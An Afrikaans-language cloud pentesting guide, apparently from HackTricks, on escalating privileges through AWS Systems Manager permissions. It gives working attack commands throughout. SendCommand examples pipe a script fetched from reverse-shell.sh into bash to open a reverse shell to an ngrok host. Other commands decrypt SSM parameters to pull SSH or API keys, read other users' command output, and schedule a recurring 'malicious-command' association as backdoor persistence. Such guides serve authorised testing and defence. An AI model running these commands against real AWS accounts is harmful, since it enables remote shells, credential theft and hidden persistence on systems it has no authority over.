# AWS - SSM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## SSM

Vir meer inligting oor SSM, sien:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `ssm:SendCommand`

’n aanvaller met die toestemming **`ssm:SendCommand`** kan **kommandos op instansies uitvoer** wat die Amazon SSM Agent laat loop en die **IAM Role** wat daarin loop kompromitteer.
```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
As jy hierdie tegniek gebruik om privileges te escalate binne 'n reeds gekompromitteerde EC2 instance, kan jy net die rev shell lokaal opvang met:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Potensiële impak:** Direkte privesc op die EC2 IAM-rolle wat aan lopende instances met SSM Agents aangeheg is.

### `ssm:StartSession`

'n aanvaller met die toestemming **`ssm:StartSession`** kan **'n SSH-agtige sessie op instansies begin** wat die Amazon SSM Agent uitvoer en **kompromitteer die IAM Role** wat daarin loop.
```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Om 'n sessie te begin benodig jy die **SessionManagerPlugin** geïnstalleer: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)

**Potensiële impak:** Direkte privesc na die EC2 IAM rolle wat aangeheg is aan lopende instances met SSM Agents wat aan die gang is.

#### Privesc na ECS

Wanneer **ECS tasks** met **`ExecuteCommand` geaktiveer** loop, kan gebruikers met genoegsame toestemmings `ecs execute-command` gebruik om **'n opdrag uit te voer** binne die container.\
Volgens [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) word dit gedoen deur 'n veilige kanaal te skep tussen die toestel wat jy gebruik om die “_exec_“ opdrag te inisieer en die teiken-container met SSM Session Manager. (SSM Session Manager Plugin nodig vir dit om te werk)\ 
Daarom sal gebruikers met `ssm:StartSession` in staat wees om **'n shell binne ECS tasks te kry** met daardie opsie geaktiveer deur net die volgende te hardloop:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)

**Potensiële impak:** Direkte privesc na die `ECS`IAM roles wat aan lopende tasks met `ExecuteCommand` geaktiveer is.

### `ssm:ResumeSession`

'n aanvaller met die toestemming **`ssm:ResumeSession`** kan her-**begin 'n SSH-agtige sessie in instances** wat die Amazon SSM Agent uitvoer met 'n **verbroke** SSM session state en **kompromitteer die IAM Role** wat daarin loop.
```bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Potensiële impak:** Direkte privesc na die EC2 IAM-rolle wat aangeheg is aan lopende instansies met SSM Agents wat hardloop en ontkoppelde sessies.

### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)

’n Aanvaller met die genoemde permissies sal die vermoë hê om die **SSM parameters** te lys en hulle in **clear-text** te lees. In hierdie parameters kan jy dikwels **sensitiewe inligting vind** soos SSH-sleutels of API-sleutels.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Potensiële impak:** Vind sensitiewe inligting binne die parameters.

### `ssm:ListCommands`

An attacker met hierdie toestemming kan al die **kommando's** wat gestuur is lys en hopelik **sensitiewe inligting** daarop vind.
```
aws ssm list-commands
```
**Potensiële impak:** Vind sensitiewe inligting binne die command-reëls.

### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)

'n aanvaller met hierdie toestemmings kan alle gestuurde **commands** lys en **die gegenereerde output lees**, en hopelik **sensitiewe inligting** daarin vind.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Potensiële impak:** Vind sensitiewe inligting in die uitset van opdragreëls.

### Gebruik van ssm:CreateAssociation

'n aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om opdragte outomaties uit te voer op EC2-instansies wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om op 'n vaste interval te loop, wat dit geskik maak vir backdoor-like persistence sonder interaktiewe sessies.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> Hierdie persisteringsmetode werk solank die EC2-instansie deur Systems Manager bestuur word, die SSM agent loop, en die aanvaller toestemming het om associations te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand-toestemmings nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimuminterval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat `--schedule-expression` heeltemal weg — die association sal eenkeer uitgevoer word nadat dit geskep is.

### Codebuild

Jy kan ook SSM gebruik om toegang te kry tot 'n codebuild-projek wat opgebou word:

{{#ref}}
../aws-codebuild-privesc/README.md
{{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}
